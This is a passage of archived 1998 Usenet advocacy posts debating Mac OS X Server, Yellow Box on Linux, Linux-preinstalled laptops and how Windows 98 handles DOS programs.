care.
If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
faster because Apple is bigger than any single Unix vendor.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: whistler@twcny.rr.com (Paul E Larson)
Subject: Re: Linux preinstalled laptops?
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de>
Message-ID: <dX772.2716$gt1.9709257@newse1.twcny.rr.com>
Date: Tue, 08 Dec 1998 15:07:08 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 00:07:08 JST
Organization: Global Online Japan
In article <F2x7L2.t1@a2e.de>, phm@a2e.de (PILCH Hartmut) wrote:
>Toon Moene <toon@moene.indiv.nluug.nl> writes:
>
>>Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
>>thing left is buying a modem card and a printer - must be possible in the
>>remaining 13 months ...
>
>I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
>since I don't want to risk spending weeks on studying PCMCIA drivers.
Here is another company in Germany that sells notebooks with Linux
preinstalled. I found it at http://www.linux.org/vendors/systems.html.
http://www.suse.de/suse_comp/index.html
Paul
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 12 Dec 98 12:28:12 GMT
On Sat, 12 Dec 1998 02:31:46, adt@netcom.com (Anthony D. Tribelli)
thought aloud:
> taiQ (pit@iohk.SPAM-NOT.com) wrote:
> : adt@netcom.com (Anthony D. Tribelli) thought aloud:
>
> : > Please note your 'as well'. If the apps also run on Rhapsody/MacOS X that
> : > is all that matters.
> :
> : But it is quite doubtable that Mac OS X would gain such central role
> : wrt. *nix apps, especially what comes to the bigger apps. Would Corel
> : be interested in porting or keeping MOSX/BSD PerfectOffice in parity
> : with the Linux version, esp. if Microsoft's Carbon port appears more
> : tightly coupled with the MOSX UI?
>
> IMHO yes. They see a large enough market in Linux where the number of
> installations is fuzzy, the number of end user workstations rather than
> servers is even fuzzier, the number of end users who feel a need for
> something beyond all the free software is even fuzzier still. When MacOS X
> is shipping on all PowerMacs it will have a well defined end user
> population that has a track record of spending lots of money on software.
Yes, the Linux numbers are fuzzy, but there is also real meat (and
strange open source induced sustainability) behind those fuzzy
figures. Mac OS X, with initial end-user shipment well in the future
and adoption rates among new PowerMac users at least as fuzzy as Linux
usage figures, needs to work hard to create any track record;
especially as a _ *nix user_ platform. Why would Mac OS X users buy a
plain-jane version of PerfectOffice when even Microsoft's Carbonized
MS-Office ("the standard") was better hooked with the MOSX user
environment? PerfectOffice for YB would turn the tables though.
> Also, is perfect office Linux specific? Why would it be troublesome to
> port to Apple's BSD as opposed to some other BSD?
As for now PerfectOffice for Linux hasn't even shipped or even been
reviewed publicly. I believe Corel has worked with KDE in the past
(IIRC their Linux stations ship with it) and it remains to be seen
whether PerfectOffice will be KDE or GNOME "optimized". I think it's
likely to support either of those, even both. In any case it would
appear that Corel is putting Linux ahead of other near-compatible
platforms, incl. Mac OS X w/ BSD.
With YB on Linux Corel could be persuaded to use YB in PerfectOffice
and they'd have a product reaching all YB-capable platforms without
tedious re-tuning. The brief emergence of Corel's JavaOffice showed
that they might like the idea. I'm not trying to discredit your idea
of easy porting between Linux and BSD but merely trying to point out
that YB would make such porting practically unnecessary while offering
an avenue for quicker, easier further development. And by extension,
I'm trying to point out that Yellow Box for Linux would make sense.
:-)
> : > Also note that Apple may very well become the
> : > dominant UNIX vendor as they already have become the dominant RISC vendor.
> : > In any case when MacOS X is the shipping OS on all Macs then UNIX app
> : > vendors are sure to go after this huge potential market of end users. Note
> : > my use of 'end users'. The general interest in Linux you've referred to
> : > may be more for servers than end user workstations.
> :
> : The road from being the dominant RISC vendor to becoming the dominant
> : Unix vendor is long and hard when Linux is open source (indepence from
> : control by any "competitor" is a significant advantage), basically FOC
> : to deploy on any number of "seats" and on everyone's radar. Just do a
> : web (news) search for Linux and Apple; searching "Mac OS X" will not
> : yield much.
>
> Such a web search proves nothing. I think you missed the point of the
> above. With MacOS X installed on all shipping systems Apple will likely
> become the dominant UNIX vendor even though most users don't know they
> have a UNIX based system.
I'm not certain Apple can beat Linux (w/ practically all hardware
platforms supported) in the momentum game, but let's suppose you're
correct. (and Apple can churn out and sell G3 and G4 machines faster
than Linux CD-ROMs find permanent homes)
In this scenario it would be very attractive for the *nix app vendors
to make the Apple's flavour of Unix a high priority. But how many
PowerMac 'end users' would have bought a G3 or G4 to run Unix apps in
the first place? Apple is promising worthy user experience only with
Carbon, Java or Yellow Box, the Unix-ness is downplayed even more than
the existence of Yellow Box! <g>
But I don't need a web search to convince myself that Linux momentum
is strong, that its end user friendliness in being feverishly worked
on and that in '99 it will become a credible option to much larger
number of consumers and even an optional OEM preload on low cost
systems in the cut-throat market. Of course, the future remains to
prove itself but there's also the danger of Apple doing "too little,
too late".
> Despite this UNIX software vendors would be sure
> to take notice. I worked in molecular modeling in the past and there are
> quite a few UNIX apps out there. I believe targetting PowerMacs with MacOS
> X in addition to Sun, SGI, and RS/6000 systems would be seriously
> considered and most likely approved. While Apple has a 'small' market
> compared to Windows, a year or two of MacOS X sales could exceed the
> traditional UNIX market. Again, I not suggesting anything like PowerMacs
> replacing high end and specialized Sun and SGI systems.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-MjvhiupElZ1k@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <3671a203.0@stan.astra.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 12 Dec 98 12:28:18 GMT
On Fri, 11 Dec 1998 22:51:47, mmalcolm crawford <malcolm@plsys.co.uk>
thought aloud:
> In <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> taiQ wrote:
>
> > In my opinion Apple would be wise to cast the YB net wider than
> > Apple's own Unix.
> >
> You mean like to Windows...?
And I thought YB for Windows was for granted and it wasn't necessary
for us discuss its possibility any longer... :^)
> > Now, it would certainly help Mac OS X's side of equation if Linux
> > became a popular YB development and deployment platform. Mac OS X
> > would be automatically in the game, and it would be the optimal
> > platform for those YB apps.
> >
> ... I'm sure it would, however since there is already YB/Windows they've
> taken a big step in the right direction already.
Certainly, but I'm trying to prove the doubting thomases that Linux,
too, should be honoured with YB. E.g. because the majority of "Windows
houses" are Windows-only developers with significant investment in
Microsoft's developer tools while Linux developers - commercial or not
- are IMHO more likely to find value in easy cross-platform
development. Or because Linux still needs stuff like YB while Windows
is "adequately covered" by Microsoft's technologies. Or...
> > Btw, could it be that some old OpenStep-hands are very much against
> > any potential Linux port of YB
> >
> I haven't seen anyone who is against the port *in principal* -- indeed I'm
> sure that all the ex-NeXT folks would welcome it. What I have seen is
> arguments about why *now* might not be the best time *for Apple* to do a
> port.
I might have read more into those arguments than there was, but some
voices have been pretty good at objecting practically anything Linux
related.
> > because they're afraid their high-end
> > custom development deals would suffer were increased competition to
> > materialize?
> >
> Are you serious?! What an asinine suggestion. YB is already open to
> Windows, and so OPENSTEP developers are already pitted against Microsoft, and
> with Carbon on MacOS X will be head to head with existing Apple developers
> too. Ex-NeXT ISVs have already said that they welcome competition.
See above for my opinion on Windows platforms' (w/ YB) relevance as a
serious YB development ground. As you point out, developing for YB
pits the developer against Microsoft and I can imagine this would in
itself automatically reduce YB's attraction as a development platform
among the Windows developers. Apple should still try attracting those
it can, but also those among the Linux community.
Asinine? I know I was grasping straws trying to understand reasons for
the apparent Linux-hostility by some NeXT hands, but I certainly
didn't make that suggestion as a personal attack nor did I claim it as
a fact. The vast majority of YB developers comments wrt. Linux as a YB
platform have in my perception been either positive, or constructive
at least.
> > The road from being the dominant RISC vendor to becoming the dominant
> > Unix vendor is long and hard when Linux is open source (indepence from
> > control by any "competitor" is a significant advantage), basically FOC
> > to deploy on any number of "seats" and on everyone's radar.
> >
> I somehow suspect that the "FOC" aspect has a greater bearing than "open
> source" -- being proprietary hasn't exactly hurt Windows' popularity.
Linux' being free of charge to deploy on any number of seats certainly
captures imaginations, esp. in the larger enterprises. For most people
Linux is simply _cheaper_, and more stable, and still somewhat rough
at edges for new users.
Being proprietary is starting to hurt, or at least sting, Microsoft
now. Until this year there was no serious DOJ enquiry into their
practises, nor was there any public awareness of any non-prorietary
alternatives to Windows.
> > Just do a web (news) search for Linux and Apple; searching "Mac OS X" will
> not yield much.
> >
> Uh huh -- when making claims like this it's as well to try the experiment
> first:
>
> http://www.altavista.com/cgi-bin/query?pg=3Daq&text=3Dyes&kl=3DXX&r=3DMac+OS+X&act=3Ds
> earch&q=3D&d0=3D&d1=3D
> AltaVista found 2,670,410 Web pages for you.
Right. I apologise for not adding "momentum" after "will not yield
much". Sheesh. Momentum, not how many times the word "Mac OS X"
appears on web-based discussion lists.
Did you by any chance try the same search using "Linux" as keyword?
Did you look at the links that were counted? I did. And I saw a large
difference in the content between talking and action.
Did you try searching *newsbot* for "Mac OS X" and "Linux" (e.g. with
date range: any time)? After all, I was suggesting doing a "web (news)
search". Let the results speak for themselves.
Or did you understand the "(news)" part as a newsgroup search
(although your example would indicate a web-site search)? Dejanews
gave its verdict.
Or did you just ignore both the context and the wording "(news)" in my
post and went for blood? I must say I personally prefer rather more
constructive ways of engagement.
> > Even if Apple released Mac OS X on every platform (which they do not
> > intend to do but it would be technically doable, but what _then_ sells
> > PowerMacs...) Apple's Unix would still face a steep uphill battle.
> > This is in my opinion exactly why proliferation of Yellow Box would be
> > of so great importance. Apple could easily be _the_ YB platform.
> >
> Umm, Apple *is* *the* YB platform.
My point being: which is only of any importance *if* YB
proliferates...
> Again, I don't know anyone who is seriously disputing this...
Some people do not seem to believe that YB for Linux would help Apple
proliferate Yellow Box in a way that benefits Apple. (it could be the
"windows visitors", but I can't recall seing them in this thread ;)
> > After all these years everything may still appear to them as a threat
> > instead of as on opportunity. I see Yellow Box on Linux (and other
> > similar platforms priorities permitting) as a way to break out of the
> > hardware and software niche they've dug themselves into.
> >
> ... and yes, you said this before: the issue is not with *whether* but rather
> with *when*.
My opinion? The sooner the Linux platform has something to play, work
and develop with the better. The discussion here has centered on the
potential strategic importance and the depth of Linux embracement
because nobody here knows about Apple's strategy or time frame for
wider YB push anyway. With so many unknowns and variables I'm happy
just to discuss whether YB for Linux has a business case at all. I'd
also prefer to do so without personal or confrontational attitude.
Rgds,
--
taiQ
[this space is intentionally blank]
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 11 Dec 1998 04:25:45 GMT
Organization: Digital Fix Development
Message-ID: <74q6s9$apl$1@news.digifix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news> <74nj09$bfn$1@news.digifix.com> <anarkhos-ya02408000R1012981706040001@news>
In-Reply-To: <anarkhos-ya02408000R1012981706040001@news>
On 12/10/98, strobe wrote:
>
>> Just to clarify..
>>
>> YB won't be free until we get rid of the encumberance of
>> DPS/Adobe.
>
> Just to CLARIFY Adobe is not the only body that owns technology in
YB.
>There is also UNISYS and PANTONE.
>
I'm well aware of that (I wrote the article on Stepwise that
you've cited as the source)
Apple apparently has a blanket license for UNISYS.. so this
isn't likely to be an issue. They are able to give QuickTime away,
and it has portions that use this.
PANTONE could be dropped with very little impact (i.e. none)
on developers, and possibly little on users in general. Hopefully
PANTONE is a little more forward thinking than Adobe in this respect.
BTW.. The only PANTONE 'technology' is the list of colors.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
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Message-ID: <365C333C.4FBB53D1@spamtoNull.com>
Date: Mon, 07 Dec 1998 15:47:54 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:47:54 JST
Organization: Global Online Japan
Chad Irby wrote:
>
> J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
>
> > Interesting you say that as I haven't used anything DOS in ages,
>
> So you use linux instead of Windows? That's nice.
What a remarkable conclusion...:) Your knowledge of various OS's is
astounding!
FYI, just how well do programs written for Win98 run under DOS? It's
remarkable you still exist in that fictional land where "DOS=Windows."
I'll be happy to render a bit more technical explanation as to the
differences for you, if you'd like. But somehow I think it would be a
waste of time as I'm sure you'd simply to choose to disbelieve it...
>
> > and I
> > was unaware that the current generation of Apple products were
> > completely incompatible with earlier Mac software.
>
> Not so. They just run in emulation. Quite nicely, at that.
Really? Just how then do you suppose that DOS programs run under Win98
in a "DOS box?"
>
> Unlike much of the "existing" old Windows and DOS programs that Wintel
> advocates claim to use, which are still DOS-based in most respects.
With Win3.x and earlier, Windows ran as a crappy shell on top of DOS.
Beginning with Win95 (with its 32-bit non-DOS kernel) DOS runs as a
shell under Windows.
Here's a quick example of the differences for you:
Under DOS I use the autoexec.bat file to set the parameters for my sound
card, for instance (things like IRQ, memory address, DMA channel, etc.)
Under DOS and Win3.x and earlier your system was *dependent* on these
settings--if your hardware wasn't configured properly in config.sys and
autoexec.bat--your goose is cooked--nothing runs.
But beginning with Win95, guess what? You no longer even need to *use*
either a config.sys or autoexec.bat file. That's right, you can strip
these files right out of your system and Win95/98 will boot just fine
without them. But it gets even better...
Let's say that under Win98 I elect to use my DOS autoexec.bat file to
set the IRQ of my sound card (for instance) to IRQ 5. But when I boot my
system into Win98, go to the device manager and locate my sound card, I
discover a remarkable thing: Win98 has *ignored* the parameters set in
the DOS autoexec.bat file and assigned it's own parameters automatically
with no user input required. I find in this example that Win98 has
decided my sound card will use IRQ 10, instead of the IRQ setting of 5 I
had set in the DOS autoexec.bat. Here we get to the meat of the example:
I decide to run an old DOS program directly from Win98 and the program
opens in a DOS box. Being a DOS-only program, it is "hard-coded" to find
a sound card at IRQ 5 and a certain address. Even though I had set those
parameters (IRQ 5, etc.) in my DOS autoexec.bat file which ran at boot
(that file itself being optional under Win95/98), the DOS box running
the DOS program under Win98 *also* ignores the settings I had placed in
the DOS autoexec.bat file. Result? I get *no* sound at all from the
application, or the DOS application will quit and I'll be returned to
Win98 because the program is looking for an IRQ 5 sound card and the
Win98 DOS box informs it that none is present at those parameters.
So how do I get this particular old DOS program to run properly under a
Win98 DOS box with sound? To run it under Win98, there's only one way to
do it:
You go to the device manager, locate the sound card, and *manually
change* the parameters of the card to mirror those the program expects
to find under DOS (because it is, after all, a DOS program.) After
you've done that, the program runs just fine with sound under a DOS box
from Win98.
At this point, the difference ought to be clear. Because Win3.x was
merely a shell running on top of DOS, the DOS config.sys and
autoexec.bat file settings were crucial and indespensible to the proper
functioning of the system. Under Win95/98, DOS is merely a shell which
runs *from* Win95/98, and therefore the DOS autoexec.bat and config.sys
files may be deleted from the system altogether and will have no impact
on the OS booting and assigning resource allocation.
When running programs written for Win95/98 (the vast majority of them
have been written that way for some time), you don't need to worry about
*any* of that. The programs simply allow Windows to manage the resource
allocation, and thus you'll get sound regardless of the parameters
Windows has assigned to the sound device. As I said, it's been sometime
since I've run DOS programs.
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <367e4dcf.58109014@nntp.ix.netcom.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <w0bzp9fcwev.fsf@mah21awu.YP.sparcm1> <365d0cb6.0@uni-wuerzburg.de>
Mime-Version: 1.0
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Date: Tue, 08 Dec 1998 15:07:18 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 00:07:18 JST
Organization: Global Online Japan
token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>Most home PeeCees have 64-128mb today.
Most serious users, not most PCs. Most PCs in active use probably are
closer to 32 megs.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Message-ID: <73hti4$73$1@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
Date: Mon, 07 Dec 1998 15:49:32 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:49:32 JST
Organization: Global Online Japan
George Graves <gmgraves@slip.net> wrote:
: There aren't that many Yellow-Box apps (and won't be despite the fact
: that the Yellow Box is a far better cross-platform development
: environment than is Java) and the MacOS that they are saying OS-X server
: will ship with is OS8.1.
There aren't that many Yellow Box apps because it has never been legal to
ship them. For that matter Yellow Box is not yet cross-platform because
it has not been shipped for multiple platfroms.
If you think this is an indictment of Yellow Box think again - this is a
defense of Yellow Box:
The Yellow Box cannot be popular until you allow people to use it.
As it now stands Java is a better cross-platform development environment
because it is available and it is legal to sell Java applications on
multiple platforms. The Yellow Box isn't a contender, not through any
technical fault of its own, but simply because it is not available.
John
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: M$: Really the Best Talent?
Message-ID: <petrichF3uv7J.7w2@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com>
Date: Sat, 12 Dec 1998 14:06:55 GMT
Sender: petrich@netcom19.netcom.com
In article <3671fcae$0$226@nntp1.ba.best.com>,
Boris <XXXboris@movil.comXXX> wrote:
>Microsoft has the best technical talent in the industry. Where would that
threat emerge >from?
And how is that supposed to be the case?
That would not be very apparent from the low quality of some of
its software.
Consider Linux -- the writers of the Halloween Documents had
conceded how high-quality it is. It has a reputation for being *much* more
stable than M$ OSes -- _on_the_same_hardware_. So why was a loose
community of volunteers able to do what (supposedly) the world's best
programming talent was unable to do?
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
####################################################################
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
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Date: Mon, 07 Dec 1998 15:48:39 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:48:39 JST
Organization: Global Online Japan
Rick wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>
> > Actually, it seems as if it's the Apple crowd who get confused on the
> > subject, not me. They're the ones who think an estate's release of old
> > pictures to be used in an ad campaign that doesn't mention the words
> > "computer" or "Apple" or "Mac" is the exact same thing as a direct
> > endorsement of the Mac by these very same estates. Not me...:)
>
> Well, thats why you dont understand sophisticated advertising.. and why
> you use herd mentality to purchase computers.
Well, you can bet your boots that an awful lot of other people (re:
potential Mac buyers) "don't understand sophisticated advertising,"
either....especially when there is almost *nothing* in those ads that
lets anyone know that "Apple Computer" is even involved...:)
Message-ID: <365C3A80.8D923A36@home.com>
From: Ari <arikounavis@home.com>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting factoid...
References: <365cdbb2.0@news.depaul.edu>
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Date: Tue, 08 Dec 1998 15:06:49 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 00:06:49 JST
Organization: Global Online Japan
Quick! Call MacOS rumors!
ari
Jonathan W Hendry wrote:
>
> Somebody's been posting to rec.arts.sf.written, with an
> Apple email address, but a Javasoft organization, and
> a .sig explaining that she's a Javasoft employee working
> at Apple.
>
> (Does Javasoft still technically exist?)
>
> I didn't recognize the name as a Lighthouse person.
>
> --
> Note: email to this address goes to /dev/null
> To email a reply, write to jon at exnext dot com
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 14:49:29 GMT
Organization: Indiana University, Bloomington
Message-ID: <74tvpp$1nk$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <adtF3uIvr.Lyw@netcom.com>
In article <adtF3uIvr.Lyw@netcom.com>,
Anthony D. Tribelli <adt@netcom.com> wrote:
>Michael J. Peck (mjpeck@nstar.net) wrote:
>: Gregory Loren Hansen wrote:
>
>: > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: > faster because Apple is bigger than any single Unix vendor.
>:
>: MacOS X could be a good Unix, but it probably won't. The FAQ stresses
>: that it is not, in Apple's opinion, a traditional Unix system. That's
>: not conclusive, but it certainly raises some disappointing
>: possibilities.
>
>It's not a traditional Unix in that it is targetted for a novice low tech
>market. Most users won't even know there is a Unix behind the curtain.
>However there is nothing to prevent high tech and power users from going
>behind the curtain. There are many groups, including Linux, working on a
>friendly face for Unix that anyone can use. Apple is taking a different
>approach than others and IMHO will probably get their first.
I hope you're right. I'm sure Apple will come out with an OS that's
wonderfully easy to use. But if I want to cut -f2 -d"," -s tek00078.csv >
two.dat, then I hope I can still do it.
I'm a little worried about the directory structure. Traditionally, the
hard drive icon represents the root directory. If you look at a Unix root
directory you get /bin, /usr, /etc, /dev, /home, and others. That's sort
of the equivalent of the System Folder, but it probably isn't what the
typical user wants to see first thing in the morning. Making it look
pretty would require either a rearrangement of the directory structure, or
changing the Finder's paradigm. And I'm afraid Apple will rearrange the
directory structure, and then no Unix junkie will recognize it and no
system administrator will want to deal with it.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: scholl@joxer.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 12 Dec 1998 09:53:33 -0500
Organization: University at Buffalo
Message-ID: <74u01d$otp$1@joxer.acsu.buffalo.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74s7kb$mn1$1@joxer.acsu.buffalo.edu> <74sfs5$tag$1@flotsam.uits.indiana.edu> <74shuc$equ$1@joxer.acsu.buffalo.edu> <74snkc$tpt$1@flotsam.uits.indiana.edu>
NNTP-Posting-User: scholl
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: In article <74shuc$equ$1@joxer.acsu.buffalo.edu>,
: Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
: >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: >: Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
: >: >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: >
: >: >: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
: >: >: faster because Apple is bigger than any single Unix vendor.
: >
: >: >ever heard of a small company called ibm?
: >
: >: IBM sells more Unix machines than Apple sells Macs?
: >
: >i have no idea- but that's not what you said. you said apple is bigger
: >than any single unix vendor- ibm is a unix vendor. they are bigger than
: >apple. what exactly is your claim here?
: I would have thought some context would be extracted from the statement.
: E.g., HP may be bigger than Apple, but HP's line of calculators and their
: line of printers are not going to do much to bolster their line of Unix
: machines.
: I assume anyone who thought to call me on the point just wanted to argue.
no, just curious as to whether you were totally clueless/mis-spoke/or
had a point i missed... and your point doesn't make much sense if you're
talking just unix market share. what's apple's right now?
-ed
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 15:15:30 GMT
Organization: Indiana University, Bloomington
Message-ID: <74u1ai$1qb$1@jetsam.uits.indiana.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74shuc$equ$1@joxer.acsu.buffalo.edu> <74snkc$tpt$1@flotsam.uits.indiana.edu> <74u01d$otp$1@joxer.acsu.buffalo.edu>
In article <74u01d$otp$1@joxer.acsu.buffalo.edu>,
Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
>Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>: In article <74shuc$equ$1@joxer.acsu.buffalo.edu>,
>: Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
>: >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>: >: Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
>: >: >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
>: >
>: >: >: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
>: >: >: faster because Apple is bigger than any single Unix vendor.
>: >
>: >: >ever heard of a small company called ibm?
>: >
>: >: IBM sells more Unix machines than Apple sells Macs?
>: >
>: >i have no idea- but that's not what you said. you said apple is bigger
>: >than any single unix vendor- ibm is a unix vendor. they are bigger than
>: >apple. what exactly is your claim here?
>
>: I would have thought some context would be extracted from the statement.
>: E.g., HP may be bigger than Apple, but HP's line of calculators and their
>: line of printers are not going to do much to bolster their line of Unix
>: machines.
>
>: I assume anyone who thought to call me on the point just wanted to argue.
>
>no, just curious as to whether you were totally clueless/mis-spoke/or
>had a point i missed... and your point doesn't make much sense if you're
>talking just unix market share. what's apple's right now?
I'm talking total Unix market share, after Apple starts selling a Unix.
I'm not sure what Apple's share is. Around 10% (14%?) of retail,
something less than that but greater than 4% for total market share. I
may be mistaken, but I'm pretty sure less than 4% of computers sold are
RS/6000 or AS/400 machines. And I'm pretty sure less than 4% of computers
sold have HP-UX installed. And I'm pretty sure that any single PC maker
that sells computers with Linux or another Unix installed has captured
less than 4% of the market. They might have more than 4% when you factor
in computers with Windows (Compaq, etc.), but that's not Unix market
share.
I was not thinking of Apple versus the entire world of Unix.
--
"Besides, it doesn't take much creativity or courage to figure out that
something which reads 'Danger: Flammable' on the label might be fun to
fool about with." -- Joris van Dorp
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
